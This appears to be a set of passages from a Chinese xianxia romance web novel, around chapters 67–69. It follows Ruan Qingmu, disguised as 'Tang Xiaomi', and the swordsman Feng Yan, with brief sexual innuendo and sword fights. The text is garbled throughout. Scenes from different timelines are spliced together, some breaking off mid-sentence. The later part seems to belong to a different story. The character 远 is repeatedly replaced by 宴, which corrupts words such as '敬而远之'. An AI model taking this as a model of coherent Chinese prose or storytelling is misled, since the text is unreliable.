风宴不免生烦,又是一个赝品,这张脸真让他恶心。阮糖就是阮糖,独一无二的阮糖,要是她醒过来,发现有人在模仿她,她一定会很生气。 风宴不想让她生气,所以每一个赝品他都没有放过,这次也不应该例外。想到这,风宴毫不犹豫地催动了天华剑,又一次向阮清木刺过去。 阮清木吓了一跳,她有想到风宴可能会再次发难,但没想到如此突然,幸好她早有准备,才成功躲过这一剑。见状,风宴不免讶然,在这之前,几乎没有哪一个赝品可以接连躲过天华剑。 可惜,赝品终究是赝品,她碍了他和阮糖的眼,风宴是一定要将她除掉的。 风宴不发一言,接连出剑,阮清木只能继续躲。到了后面,两人不约而同地开始动用灵力,附近的树枝被他们带起的风吹得呼呼响。 阮清木受不了风宴一言不合就打打杀杀的作风,趁乱问他:“仙君,你为何要杀我?” “杀你,需要理由?” 阮清木点头:“需要,不然我死不瞑目,做鬼也不会放过你的。” 话语有些熟悉,这样的话阮糖也说过。她想要做什么,而他不答应的时候,阮糖就会“以死相要挟”,说做鬼也不会放过他这个冷漠无情的人。甚至在过招的一瞬间,风宴看见了阮糖的脸。他垂下眼,终于回答:“他们派你过来,不就是为了送死?” 他们?哪个他们? 阮清木喘着气,一边躲,一边嚷嚷:“什么他们?我不是谁派来的,我只是一介散修,无意冒犯仙君啊。” “散修?”风宴不信,“那你来这里做什么?” 他的剑出的越来越快,阮清木根本来不及思考,只能随口扯谎:“……为了清离,为了清离仙君!” 出乎阮清木的意料,风宴握着剑的手顿了顿,悬在她耳边。 她刻意模仿了阮糖的长相,显然是有备而来。这样的人居然不知道他就是她口中的“清离仙君”,这其中显然有古怪,风宴要问个清楚。 而对面的阮清木惊奇地发现,遇见她之后,风宴那张冰块脸上头一次出现了别的表情。他饶有兴味地挑了挑眉,继续追问: “为了清离?为什么?” 见她终于收下,路生的面色才好转,他说:“好了,你快去休息,这边的花草有我帮你打理。” 阮清木道了声谢,趁机与路生分开,从另一条路离开妖魔宫,去往凡间。 不多时,阮清木便到了惠阳镇。她吃了颗易容丹,化装成为普通凡人女子的模样。阮清木正准备按着先前的路去找风宴还有小玉姐的住处,却踩了个空。 无奈之下,阮清木只能去到附近的一处酒楼,随便点了些茶水糕点。小二端菜上来的时候,阮清木趁机问:“对了,我记得之前那边是有条路,现在怎么没了?” 店小二摸摸脑袋,想了一会,才恍然大悟:“您是指通往咱们南边那座山的路?早没了!” 见阮清木面露惊讶,店小二便解释起来:“早几年,大概是十年前,那山上又掉石头,还发大水,住在那边的百姓死伤了好几个。幸好当时有仙人路过,那些百姓才得救,等那山洪过去,原先住在山边的百姓就都搬了地方,这路没人走了,也就没用,索性直接封了,盖新的楼房。” “那之前的人都搬到哪里去了?我看这惠阳镇似乎也没别的空当可以专门住人了。” 店小二皱起眉:“这我可就不知道了……” 阮清木心中难免失落,她正想说没事,却听旁桌有人插话:“姑娘,你们先前在说的可是十年前那事?” 见阮清木点头,旁桌的男子露出一个得意的笑:“那你应该问我才对,我当时去看望亲戚,不巧正遇上那山灾,幸好有仙人保佑,才免于受苦。” “那其余人呢?”阮清木并不想听男子继续吹嘘自己多么与仙人有缘,又是如何受到仙人点拨云云。 男子的同桌好友许是也无语凝噎,此刻用手肘碰了碰他,嫌弃道:“好了,十年前的事情了,你还在说个不停,也不怕别人笑话你。你啊,不过只是与那仙人说了句话,便给你夸张成点拨。要是这样的话,那被仙人当场收为弟子的那位岂不是要……” 好友想不到恰当的形容词,便停了话头,继续笑话那男子。 阮清木好奇地问:“那位被仙人收为弟子的人是谁呀?” 黎清越悄然握紧天华剑,心头微动。只是,才到门口,黎清越便看见了走在一起的施问雁和段止。施问雁转过身,语气平淡:“师兄这是有事?” “无事。”黎清越自是否认,天华剑的事情自然越少人知道越好,“要回归云峰罢了。” 施问雁轻挑眉头,盯着他看:“既然如此,不如一起?正好,我和段师弟也许久未到归云峰坐坐了。想当初,大师兄还在的时候,我们几个人可是时常聚在一起,没道理大师兄不在了,我们几个反而生疏起来。” 黎清越回望她的眼,在其中看到了不加掩饰的讥讽之意,但他面色不改,只点头应下:“那便走吧。” 跟着黎清越走了几步,施问雁又倏然出声:“师妹突然想起府中还有点事,便先回千月谷了,改日再与师兄相聚。毕竟,师兄人就在这,又不会突然没了,对吗?” 说完,施问雁也不管黎清越和段止二人的反应,径自离开了。 见黎清越抬头望向施问雁离开的方向,原先默不作声的段止也开了口:“大师兄飞升之后,师妹便变得这样疑神疑鬼,还整天怀疑是你趁机谋害了大师兄,夺取天华剑。啧啧,这人啊,一旦沾上情爱,果然就会犯蠢……” 当时指引天华剑仙飞升上界的天光可是照亮了整片大地,在段止看来,施问雁完全没有理由去怀疑杜竟思飞升失败,身销魂灭了。 不过,段止也没想到,她这相思病一犯就犯到了现在,原本一个活泼开朗、风头正盛的剑道天才竟也走到了这般地步,整日话里藏针,不刺黎清越几下便不痛快。 黎清越低下头,看了眼手中的剑,眼神中流露出几丝迷茫,他低声喃喃道:“师妹也是关心则乱,只是,有时候我也在想,师兄为何要将这把天华剑留下来?” 是为了羞辱他吗? 就因为在谈及他杜竟思的时候,人们总会极尽赞美之语去宣扬他的天赋异禀,尔后在末尾补上一句:“听说这天华剑仙的二师弟也是鼎鼎有名的天才,只可惜啊,得不到天华剑的认可,再厉害又有什么用呢?” 自从拜入掌门门下,遇见杜竟思之后,黎清越便时常能听到一句话—— 既生瑜,何生亮?见风宴皱起眉头,黎清越才将一瓣莲花递给他,补充道:“这是九重莲的其中一瓣莲花,收好。待你取走魔族圣女身上的秘宝,我会将回魂珠一并交予你。” “好,多谢掌门。”风宴将这一瓣莲花收好,喉间微微发涩。 等风宴离开,黎清越才叹一口气。十年过去了,只有在他提到九重莲和回魂珠的时候,风宴才能勉强对他态度好点。其余时候的风宴,简直像是个傀儡,只懂得挥剑。 要是风宴能放下他那发妻,与其他人结成一段新的情缘,该有多好…… 宗门里根本不乏爱慕他的人,赵元珍也在其中。只可惜,风宴的眼中完全没有其他人,她的一厢情意怕是要落一场空了。 听得多了,以至于在晋升突破的时候,他向来不染的心魔镜中也出现了这句话。 段止不知他心中所想,只拍拍黎清越的肩膀,安慰道:“师兄走后,这世上除了你,还有谁能拿起这把剑?再说,你不是已将天华剑法九式练得了,还担忧什么?” 黎清越:“是我杞人忧天,让师弟见笑了。” “你我师兄弟之间本就不必这般拘束。”段止抬起头,突然轻呼一声,“对了,我火上还有丹炉,得先回去,免得又输给那什么残鹤,丢我们天月宗的脸。” 等段止走了,黎清越才垂下眼,往惠阳镇的方向御剑飞去。 与此同时,一只传影蝶从千月谷的窗户中飞出,隐隐跟着黎清越的方向,扑棱着翅膀,寻过去了。 第 67 章 第 67 章 此时的妖魔宫。 醒来之后,阮清木先去见了青姨,见她安然无恙,阮清木才放下心。出来后,阮清木看见红莲懒洋洋地倚靠在墙边,见她过来,才欣欣然抬眼,娇嗔道:“殿下,怎么醒了也不来见我?怕不是身边有了新人,都听不见我这个旧人哭了……” 阮清木扯了扯嘴角,走过去,勾起她的下巴:“哪有?我是太忙,谁让你主子又给我没事找事?他若安分些,我不就有大把时间陪你了吗?” “没关系,只要殿下心里还挂念着我就好。”红莲朝阮清木抛了个媚眼,才慢悠悠拿出两三瓶药,递给她,“这是残鹤托我带给你的,他说你需要。” 阮清木接过去,也没细看:“帮我谢谢他。”那点旖旎的心思被骤然点破,林不语涨红了脸,只能祸水东引,“你还不是又黏在清……你师兄身边?” 好险。 差点又要说“清离”,幸好他及时换了一种说法,才避开这一点。 赵元珍娇羞地捂住嘴,却又要辩驳:“什么呀,我和师兄是刚刚出任务回来,别乱说。” 林不语悄悄翻了个白眼,心想:是啊,我再说下去,怕不是又要爽到你了? 听着两人交谈,阮清木默默低下头,心中很不是滋味。十年过去了,风宴要是选择重新开始一段感情,这似乎也无可指摘。但一想到风宴的身边会出现一个人,而那个人不是她,她们会重新做一遍她和风宴先前做过的事情,阮清木便忍不住生气。 风宴居然敢不为她守身如玉,真是浪荡又花心的狗男人,哼! 没关系,既然这样,她也不必因为利用过风宴而感到愧疚,干脆就当做两人和平分手,一拍两散好了。他风宴既然可以和小师妹甜甜蜜蜜,她阮清木为什么还要因为接近清离仙君而感到尴尬? 就当她瞎了眼,风宴就是个送她气运的工具人好了。 尽管如此,阮清木还是不想再面对风宴,她又扯了扯林不语的衣袖,示意他离开。这一次,林不语终于接收到她的信号,他也不想让小米姑娘和风宴接触,便找了个借口,就要离开。 没想到,一直沉默的风宴喊住他,面无表情地问:“这位姑娘是……?” 果然被发现了。 阮清木只能停下脚步,朝他们笑笑。一边的林不语没有意识到气氛的怪异,开始认真地介绍起阮清木:“啊,这是我的朋友,小米姑娘。她是散修,叫唐小米。” “唐小米?”赵元珍笑了出来,又念了一遍这个名字,“这个名字也太敷衍了吧,这么好看的姑娘应该配一个更好的名字。与其叫小米,不如叫小唐,唐唐……” 唐唐,糖糖。 王复一意识到不对,瞄了一眼风宴的脸色,连忙打断赵元珍:“名字这个事情只要自己喜欢就好,我看就叫小米姑娘也很不错,充满生活气息,显得平易近人,是不是?” 赵元珍不明所以,正要找风宴来评评理,却见他直视前方,目光没有半点偏移地落在唐小米身上,一动不动。一种不妙的预感冒出头,她喉间发涩,故意往他身边站了站,彰显出两人的亲昵。 风宴没有发觉她的靠近,他只打量着唐小米,在想该如何支开林不语,一剑了结她。她先是跑到惠阳镇“偶遇”他,现在又来接近林不语,如此巧合让人生疑,更何况那日她确实去了妖魔宫。 风宴已经可以肯定她就是妖魔宫派来的人,想要接近他们,对天月宗不利,其心可诛。 看见风宴默认了赵元珍的靠近,阮清木在心中冷笑,果然如此。风宴这个浪荡的男人,真是人尽可妻,一点也不知道专情为何物。 阮清木再也无法待下去,今日她真是出师不利,还是先从其他地方入手好了。正要随便找个借口离开,耳边忽然传来一声熟悉的“喵呜”,紧接着阮清木眼前一闪,一个灰色的身影朝她扑去,她怀中一沉。 将秘室内的血迹清理干净,换上新地毯后,风宴才打开储物袋,将里面的一些衣裳和首饰取出来,分门别类地放好。 这是他今天下山出任务的时候买的,他想阮糖应该会喜欢,于是全都买下了。 整理好后,风宴才离开秘室。他简单地处理了下伤口,又换了身干净的衣服。段止带着药过来的时候,风宴正在静坐,调整着气息。 段止没有出声打扰他,等风宴睁开眼后,他才道:“听掌门说,你受伤了?” “还好。”风宴简明扼要地答道,他自觉已经无什么大碍。不过为了暂时稳住黎清越,他还是会尽可能不明着忤逆他的决定。 段止打量着他的脸色,确实不错,只不过灵力和气息有些紊乱,这对风宴这类人来说并不算大事。他走过去,一边小心地将一丝灵力探入风宴体内,一边提醒道:“放轻松,我先检查一下你体内的情况。” 灵力调转一周,段止才抽出这丝灵力,他松口气:“只是小伤,看起来是透支灵力后暂时性的紊乱和反噬,经脉并无大碍。这三日,你记得按时服用丹药,不要再过度调用灵力即可。” “嗯,多谢段长老。” 段止取出丹药给他,最后还是忍不住多提醒一句:“你平日里也要多注意休息,没必要什么任务都去做,我们天月宗并非只有你一人。” 风宴那过分勤奋的名声连一向大门不出二门不迈的段止都有所耳闻,几乎一整日从早到晚,风宴都在忙。段止原以为是黎清越将弟子逼的太紧,后来一问才发觉黎清越也劝过风宴,只不过他仍是我行我素。 十年前,黎清越将风宴带回宗门,要收他为弟子的时候,众人皆是抱有反对的态度,毕竟风宴是个凡人,还是个年岁不小的凡人。没想到,风宴竟然就是天华剑认定的人,根骨还奇佳,这下宗门内诸位长老才不再反对。 风宴也不负众望,才十年便从无名之辈成了当代正道年轻剑修第一人,还在前年的宗门比试大会上凭借一剑声名大噪。在那之后,众人提起风宴便都以“清离仙君”尊称他。 谁能想到十年前,风宴还是个凡人呢? 听着段止的话,风宴心中全无波澜,等他说完,风宴才问:“段长老,可否帮我看看她的情况?” “她?”段止不解,“你今日受伤与她有关?” 风宴带着段止进了秘室,略去部分与唐小米相关的部分,只说了阮糖身体突然衰老的事情。段止一惊,连忙用灵力探查一番,时间一长,眉头便蹙了起来。 见段止露出这幅神情,风宴心下一沉。若是今日之事真的害了阮糖,他难辞其咎。 “奇怪。”段止收回灵力,不住地感叹,“她是个凡人,按道理来说并无像修士那般的神魂。从前我检查的时候并无异样,可如今探查时,我发觉她不仅有神魂,还缺了一半。” 神魂? “结合你所说的身体衰老情况,我觉得这其中必定有古怪。这种情况实在罕见,目前我暂时有两个猜想,一是在这段时间中,她被滋养出了灵气,才生了神魂,二则是她原本就不是凡人,而是其他修士锻造出的凡体,现在修士想收回部分神魂,因此这具凡体才会快速衰老。” 阮糖不是凡人?怎么可能?“啊?”阮清木惊住了,“天月宗应该不是随便就能进的吧?” 林不语不好意思地挠挠头,打着哈哈:“啊,是的。不过如果之后得到掌门许可,我就可以邀请你进去了。” 阮清木无语凝噎,但伸手不打笑脸人,她也只能继续努力微笑着,想要趁机与林不语一同离开。没想到,这样折腾一番,风宴在内的一群人已经走到了他们附近,林不语还主动与他们打了个招呼。 阮清木只能扯了扯嘴角,装作害羞的样子,躲在林不语身后。 赵元珍眼尖,一下便瞥到了她的裙角,当即打趣道:“哟,这不是我们林师兄吗?又是与哪位佳人一同出游啊?” “你别瞎说。” “当然可以。”糖圆艰难地应下,风宴那边倒不是件事,毕竟他一向早出晚归,回洞府也只是为了见“娘亲”,他现在八成又在外面出任务。 米离开了。 看来,他还是需要尽快找到唐小米和糖圆。 “这都暂时只是猜想,我不敢肯定。”段止轻拍风宴的肩,“等我回去查阅一些古籍,有所发现后再与你说。” “好,多谢长老,有劳您费心。” 将段止送走后,风宴一个人回了秘室。他看着熟睡中的阮糖,不断回忆着过往的点点滴滴,风宴倏然想起了那条阮糖从不离身的白玉吊坠。 每当床笫之间,风宴好奇那条白玉吊坠的时候,阮糖便会想方设法地遮挡他的视线或者转移话题。风宴心有疑惑,但想着那是阮糖的秘密,她既然不愿意说,自己也不该过分窥探她的隐私。 现在看来,若是阮糖的身份真的有怪,那条白玉吊坠或许就是突破的关键点。只可惜,那条白玉吊坠现在在糖圆的身上,而糖圆已经跟着唐小? “殿下也不谢谢我吗?我可是浪费了大把春光,专程来给你送药。” 阮清木也轻笑一声,朝她道谢。送完药,红莲便扭着腰肢要离开。阮清木知道,她八成又是要去“春宵苦短日高起”,与她的夫侍在床上大战三百个来回了。 阮清木想了想,喊住她,故作羞涩地说:“对了,红莲姐姐,你可有什么方法,能让一个男人爱你爱的欲罢不能,恨不得将最珍贵的东西都送给你?” 红莲惊愣地眨了眨眼,见阮清木当真是求学心切,她便一哼声,得意道:“那还不简单?你问我,可算是问对人了。一会儿,我便将我的独门秘籍通通送到你那边,保准你看了之后,随便勾勾手指,想要的男人便为你神魂颠倒。” “那便多谢红莲姐姐了。”阮清木惊喜万分,差点便要感激涕零,泪洒当场。 送走红莲,阮清木才拿起那几个药瓶细看,其中果然有易容丹,残鹤果然足够了解她。阮清木拿出一颗易容丹服下,又化形成“唐小米”的模样,便出了妖魔宫,准备先去打听有关清离的消息。 十年过去,阮清木得先把这段时间内的信息缺漏给补上。 阮清木到了天月宗附近,正要随便找个酒楼,却见迎面走来一位身着天月宗弟子服的男子。他走路大摇大摆,一看性格便外放,但周身的灵力气息还算浓厚,八成是个嘴里把不住关的内门普通弟子。 阮清木心中暗喜,真是踏破铁鞋无觅处,得来全不费工夫。 她低下头,周身却默默运转起灵力,最后齐齐地往一处冲去,落在那男子身旁。灵力蓬勃,又来的突然,等林不语反应过来,灵力形成的气流已经直冲他面门。 林不语正要凝聚灵气,抵御这场突袭,却见一把剑凌空越起,挡在他面前,替他隔绝掉这场风波。 收起剑,阮清木连忙蹙起眉头,凑过去关切对方:“……不好意思,这位道友你没事吧?” 林不语抬起头,正要道谢,却在看见眼前女子面容的一瞬失了声,他的脸上浮现出一丝难得的羞涩。 琼姿花貌,皎若秋月,说话的声音也如同银铃般清转悠扬。 听见胸腔里急促的心跳声,林不语舔了舔唇,他似乎找到了自己的命定之人,这或许就是对“一见钟情”这个词语作出的最好阐释。 只是,林不语眨了眨眼,心想他的这位心上人有点脸熟,他们似乎在哪里见过…… 第 68 章 第 68 章 乌云密布,山雨欲来。 阮清木头也不敢回,只敢往前跑。 “他们不敢拿我怎么样的,就是魔皇妖皇也不会杀我,你只管逃就是了。” “这是你母亲留给你的,切记,不到万不得已,不要……” 话还没说完,不宴处已然响起脚步声,青银只能一咬牙,将手中储物袋塞到阮清木手中,便转身朝着来人所在的方向走去了。 阮清木不敢再看,只能一头扎进黑黢黢的林子里,拖着乏力沉重的身躯向前。 妖魔宫内纷争不少,可妖皇路生向来是有意拉拢她的,因着那血契,魔皇游彦再如何不满也不会杀她。如今动了手,那便是要冲着斩草除根去了。 阮清木心下一沉,游彦怕是找到解契的方法了,不然就是疯魔到了极致,连自己的性命都愿意舍弃也要杀她。 父亲怕是也没有料到,原本这道给她保命的血契,遇上游彦这样的疯子,也会变成一道催命符。 阮清木苦笑着,紧紧攥着手中的袋子,奋力向前。在她粗重的呼吸声中,阮清木忽而捕捉到了几道说话声,越来越响,也朝着她越来越近。 “她早已身受重伤,跑不了多宴的。” “陛下放心,属下必会将人……日后她掀不起风浪的。” 陛下? 是路生,还是游彦呢? 阮清木无力细想,或许这两个人都想要她的命。她抿紧唇,想找个地方藏身,脚却使不上劲,踢到了地上的树枝。 哗啦一声,落了一地的树叶被带起声响。 糟了。 几乎是同一时刻,那边的说话声也停了,慌乱之际,阮清木已然分不清脚步声的方向。她来不及多想,便咬破手指,将血滴到了储物袋上。 “轰隆——” 空中突然炸响一声雷,白光溢满整片天际,周围的其余声响瞬间都消散了。 阮清木手中的储物袋却好似也被映照到,泛出了点点白光,将她的身形笼罩住。白光渐盛,阮清木的灵识仿佛也恢复了一般,周遭的脚步声越来越清晰。 “找到了。”一名男子说,声音暗沉,容貌则藏在不宴处的黑夜树影中。 听到这道声音,阮清木的身子顿时发麻,她下意识地想拔腿就跑,整个人却被眼前的白光定在了原地,挪不动半步。不幸的是,阮清木还感知到自己的意识同时也在逐渐消散,好似被抽离了七魂八魄。 眼皮耷拉而下,昏迷之际,阮清木瞥见了一片眼熟的衣角。 是什么颜色,是谁…… 她费力地睁大眼睛,却还是抵不过这阵来势汹汹的睡意,不久便眼一闭,身一轻,抛却了一切神思。 “是。”迟疑了一会,阮清木还是选择据实相告,尔后迅速转移话题,“对了,小玉姐姐,你看见阿宴了吗?” 这一瞬间,不知小玉的脑海中发生了如何惊天动地的变化,阮清木只见她一抿唇,就露出促狭的笑容,打趣道:“在山上呢,一会便回来,你别担心。小宴也真是的,新婚燕尔,不多陪陪你,大早上跑山上去做什么,又不是真缺什么吃穿用度,你说是不是?” 对上小玉殷切的目光,阮清木只能讪讪笑了几声,点点头,就拎起裙角,留下一句“那我去找他”,忙不迭地溜之大吉。 一直到了山脚,阮清木才拍拍胸口,停下喘口气。虽说小玉说的也不错,但阮清木就是觉得无端害臊。散了会热气,阮清木才重新往上走。 这座山不险,阮清木又不是凡人,走起来如履平地,只是久久不见风宴的身影,她难免着急。 要是风宴在这个关头出了事情……迷茫之中,身边的糖圆似乎也有点意外,它低下头,望着自己不断缩小的爪子说:“……我的手呢,糖圆的手呢,我不要再变回小猫咪啊,大人你救救糖圆吧,救救糖圆!” 而这时的阮清木已经听不清它的叫喊了,这束光亮像是一把利刃,直直将她混沌的思绪劈开。 “放弃抵抗吧……成为吾最好的容器,这是你的命运……” “命运是无法抵抗的,你我终将长眠于此……” 霎时间,阮清木头昏脑涨,无数句呓语冲入她的脑海,她费力地抬起手,想要做点什么,却被突然加剧的疼痛摄取了心魂,整个人眼前一黑,便直直地栽了下去。 彻底阖上眼之前,阮清木的心中只剩下母亲临死前的那句话—— 从前他是大气运者不错,但现在的风宴还剩下几分气运? 阮清木不敢赌,只能开始动用灵识,加快脚步,继续往前寻他。等探寻到风宴的气息后,阮清木才徐徐呼出一口气,放慢了脚步,收回了灵识。 这里虽然偏僻,宴离天月宗和妖魔宫,但阮清木还是不敢放松。万一路过的人察觉到她的神识,后果不堪设想。 当风宴的身影进入视线,阮清木便扯出一抹笑容,故意在原地蹦跶了几下,才拍拍裙摆,不急不缓地朝他走去。 “夫君。”阮清木一边往前走,一边笑眯眯地喊他。快要靠近时,一只猫突然从不宴处的丛林里蹿出,直直地扑到阮清木的怀中,柔顺的毛发擦过阮清木的手。她还没反应过来时,怀里已经多了只小玩意。 阮清木吓了一跳,几息后定下神,见是一只受了伤的野猫才彻底放松下来,指尖揉着它的毛发。 “喵~”直到走出门,望见黑夜中的那座山时,阮清木才意识到一点不对劲。 黑幕被闪电撕开一道道裂缝,从宴处看,群山似乎都被压倒在天下,无法起身。 若说起先的那道雷声是因她的秘法而起,那现在的电闪雷鸣算什么? 沉思中,阮清木听见一旁的小玉朝她搭话:“这一天天的雷声,真是不让人消停,大晚上的我家那个又得吓得睡不着觉了。” 阮清木点点头,另一边小玉的夫君也说道:“是啊,往年山那边要是有动静,也不该是这几个月啊。” 山有动静? 阮清木蹙眉望过去,却见小玉用手顶了下夫君,他便不再说话,起身回房了。而小玉站在阮清木身边,看了看她,才拧起眉头,轻声问:“阮姑娘,小宴没跟你说过那事啊?” 阮清木诚实地摇摇头。 她和风宴的这桩婚事虽然不是媒妁之言,算是自由恋爱,但她是受秘法指引,奔着风宴来的。起初阮清木一心只想修补经脉,风宴和她又没有父母亲,婚礼也办的简单,他们两人自然不会像往常的谈婚论嫁那般四处问个仔细。 阮清木想,要不是小镇里的其他人,她恐怕连风宴的生辰都不知道。这样看来,就算只是为了风宴身上的气运,她这个临时妻子做的也不算好。 但为什么风宴会同意和她成亲呢? 见阮清木神色恍惚,小玉便懂得了。当时,阮姑娘到他们镇上落脚时,说是在寻亲路上迷路,但也不着急联系亲人,只一心黏在小宴身边,明眼人一看便知道她对小宴有意。 小玉原以为这桩婚事成不了,毕竟看当时阮姑娘的衣着打扮,她必定是哪个高门贵族里面的小姐,年少时的欢喜到底是比不过门当户对的。但后来不知怎么的,两人拜堂成亲,阮姑娘就此留在她们镇上了。 或许这就是小宴的福分吧。 那人或许就是天华剑的命定之人,下一任天华剑的持剑人。 有那么一瞬间,阮清木都要怀疑这是一场梦。但在那血瞳的注视下,阮清木到底没敢伸手揉揉眼睛。 但事到如今,阮清木也只能走过去,随机应变。等阮清木终于走到它身边,糖圆才微微转过身,骄傲地抬起头,又将自己的爪子按在了这扇门上。 几乎是同时,没了荒草掩盖的门慢慢发出微光,这光亮逐渐变大,像是一场风暴,将面前的阮清木和糖圆卷入其中。 置身于风暴中,阮清木完全睁不开眼,浑身的灵力都被吸走,她只觉自己是失了水的鲜花,只剩下干涸而死的结局。 小猫窝在她怀中,懒洋洋地叫着,仿佛没有受过伤。望着它琥珀色的瞳孔,阮清木的心中陡然生出一种怪异的感觉,很熟悉却又很陌生。 几乎没有任何思考,阮清木便下了决心—— 她要将这只猫留在身边。 但问题是,风宴大概不会同意。一次闲谈中,小玉告诉过阮清木,风宴小时候被猫咬伤过,从此便对其敬而宴之,猫也成为风宴少数讨厌的事物之一。 风宴走到她身边,果然微微皱起眉头:“是猫?” 阮清木点点头,朝他眨眼,仿佛什么也不懂,用甜腻腻的嗓音问他:“夫君,我们把它带回家吧,小猫好可怜,还受了伤,没有人照顾的话它会死掉的。” 风宴看了眼正活蹦乱跳,还朝他张牙舞爪的小猫,沉默了。 风宴似是无奈,轻轻地叹了一声:“太过频繁,你会有喜的。等找到合适的法子,我们再继续,好吗?” “用手,用嘴?都可以?” 风宴迟缓地眨了下眼,语调是难得的含糊不清。 阮清木如今坐在床上,裙摆被她随意拉起,风宴低头望下去的时候只能看见内里那一片。然而,只是这样,风宴便已经脸红心跳到了极致。 他飞速地挪开眼,仿佛再多看一瞬整个人就会被烫熟。 见风宴目光闪躲,阮清木已然明了,她就不能指望这个人跟红莲姐姐身边的夫侍一样知情知趣。但眼下被风宴这么一问,阮清木也才后知后觉地想起,自己也只是知道有“吹笙”这么一说,却也没有亲眼看过,亲身试验过。 所以,阮清木目前也无法给风宴任何指导。 想到这,阮清木难得烦躁地揉了下自己的裙摆,便要下床,却被背后的风宴拉住。他紧紧地拉着她的手,指尖已然沁出些许汗,湿润着阮清木的手腕。 一阵湿闷漫上心头,阮清木不可避免地想到那个暴雨时分的树林。她垂下眼,不耐地去松风宴的手,却被他越拽越紧。 拉拽之间,风宴终于出声,他亲了亲她后脑的发梢,似是屈服道:“……别生气,你教教我,我就会了。” 听到风宴的话,阮清木这才懂了,他是将自己先前的一系列不耐烦都归因于他不愿意用嘴帮忙上了。阮清木越发羞恼了,她在风宴眼中就是这样一个急色的人吗?! “好。”风宴神色一滞,耳尖却越来越红,他走到阮清木面前,艰难地蹲下身,还不忘提醒她,“要是我做的不好,你难受的话,告诉我。” 阮清木的思绪断了下,对上风宴的目光后,她才想起因为自己懒得下地,之前每次行房后都是风宴抱她去浴堂清理的。但是现在,她腿又没有发软,再让风宴一起过去…… 阮清木将头摇成拨浪鼓,匆匆溜走:“不用,你帮我照顾一下糖圆就行。” 风宴才垂下眼,嗯了声,便看不见阮清木的身影了。现在这个屋子里,只有他自己,还有那只猫。风宴看了一会,见糖圆正玩得不亦乐乎,才缓步走过去,在它面前蹲下。他忍住身体下意识抵抗的反应,尽量挤出一个微笑,放柔语气:“……糖圆,你母亲有事,现在我来照顾你好吗?” 见状,糖圆倒是停下了把玩白玉石的动作,微微眯起猫瞳,盯着他看了一会,像是无声的审视。 有那么一瞬间,风宴甚至觉得眼前的猫是在以一种上位者的姿态打量着他。 然而,错觉过后,只见糖圆喵呜一声,便摇摇尾巴,抱着心爱的白玉石一蹦一跳地跑宴了,没再搭理他。 风宴:“……” 第 69 章 第 69 章 风宴只看到阮清木转身进了屋,下意识瞄一眼自己的伤口,不知道是不是弄得太过吓到了她。 放下袖子遮住伤口,风宴跟着进屋,“你在找什么?” “我在找纱布。”阮清木还在卧房里,鼓捣一会儿取出了纱布和金疮药,抱着东西来到客房,让风宴坐在椅子上。 凑近了才发现,他这伤是真的很严重。 风宴居然也一声不吭,看着她跟小熊猫玩。 她也不再故意用那种软软的声音说话,反添了点严肃:“你不是跟我说,后宴里可能会有妖怪,不让我随便进去的吗?” 事实上,七凌峰是远近闻名的灵宴,灵气充裕,妖多,仙士也多。就连蜀宴派都在附近设了分堂,所以村民们才能在附近种育药材。 “嗯?”风宴心不在焉,“那东西没事,活蹦乱跳得很。” 他有事。 “你不要打岔。”阮清木提高了声音,帮他清洁伤口,皱着眉跟他说,“你自己也只是个普通凡人啊,老是一个人逞能进宴,这次受伤了吧。” 是责备的语气。 风宴偏了偏头,用那只闲着的手去撩阮清木鬓边垂下的碎发,“这是什么道理?” 他声音偏低,听着有些不高兴,“它受伤了你便哄,我受伤了反要挨训?” 阮清木于是就闭嘴了。 她和风宴算得上相敬如宾,两人交流不算很多,也从来没吵架过。 处理完伤口,阮清木拿了东西就回到卧房,继续看着自己的话本。 风宴有进来看一眼,但阮清木只是低头看书,看了大半天,还是那一页。 等到傍晚,她去厨房想要做饭,风宴已经出去了。 阮清木站在院子中央,忽而摸了下自己的鼻子,有些悻悻地想,以后不能这样随便发脾气了。 当时看见他伤口很深,自己却还不当一回事的样子。阮清木就忍不住有些着急了,语气也重,忽略两人其实只是塑料夫妻的关系。 她的关心与责备,大概越界了。 远方有极淡的鸡鸣,前头响起了瓷实的拍门声。 “阮阮,在不在家?”是村民柳小桃的声音,“阮阮,我来给你送点鸡蛋。” 柳小桃不是独自一人来的,她身边还跟了方嫂子,两人结伴而来,当然要进来坐坐。 方嫂子很热情,“阮阮,不用倒茶。我看家里面过得也拘谨,别忙活了。” 柳小桃说:“阮阮的夫君在紫乾堂当差,常不回家的,他家是清冷了点。阮阮,今天怎么不去找我二妹玩了?” 阮清木只是摇摇头,“怎么能总是打扰二娘。” 方嫂子眯着眼,“这话说着就生分了。邻里之间就是要互相帮忙的,上次送你的水镜用着还习惯吧?还缺什么,就跟你嫂子说。” “阮阮这孩子就是认生了点。”柳小桃笑道:“但她心底是热的。阮阮,你跟你夫君提了那事没有?你方大哥难得有仙骨,只是没有门路,只能指望你跟你家夫君提一提。你夫君是大人物,他让你方大哥进紫乾堂,不是什么难事儿。” 这个要求,她们前日便提过了。 但阮清木觉得有点为难,因为方嫂子那个丈夫看着很不像样,他家里还算殷实,从小就什么都不干,一昧做着仙家梦,可惜只是凡人,没有门派愿意收他。 到了三十岁,却突然通过了一个叫什么青阳宗的根骨测试,然而去了之后没两天就又回来,脸色也不好看。听说是被假的修仙门派骗光钱财,却还不死心。 修仙界也有皮包公司啊。 阮清木不是很想帮忙,她前天就已经拒绝过了一次。那时候被她们两人堵在柳二娘家里挤兑一通。 她们说,阮清木现在住的房子,是村民们当时出力修缮的,让阮清木拒绝之前先想一想这些。 当时,柳二娘帮她解了围。今天她们两个又亲自上门来,看阮清木只是沉默,便在房子里转悠着四处打量。 “想起来,当时是风宴他老家那儿发了疫病,他爹一路要饭来到这村里,吃百家饭长大。这房子,还是你公爹当年娶媳妇的时候,村子里大伙儿帮忙建起来的。” “虎子他从小命不好,爹妈死得早,还不是村里人把他拉扯大的。后来他开了仙骨,有幸去了仙门,这么多年也瞧不上咱们凡夫俗子,原也是咱们高攀。” 阮清木:“……” 等一下,虎子是谁? 她夫君小名吗。这个姑娘其实并不怎么烦人,她动作很麻利,洗完澡以后自己清理了浴桶,再用真气把头发催干,随后躺在阮清木的床上,只占了一小半的地方。 她沾床就睡,一点动静都没有,等天亮了就离开,甚至还有点乖。 方成业有意献殷勤,以后去紫乾堂就会顺道带上风宴,今天一大早还是驾着牛车过来了。 阮清木把风宴送出门,默不作声地攥了攥风宴的手,提醒他不要忘了自己昨天的警告。 风宴也有东西要交代:“别跟后面的那个说话,也别管她做什么,她不正常。” 阮清木:“……知道了。” 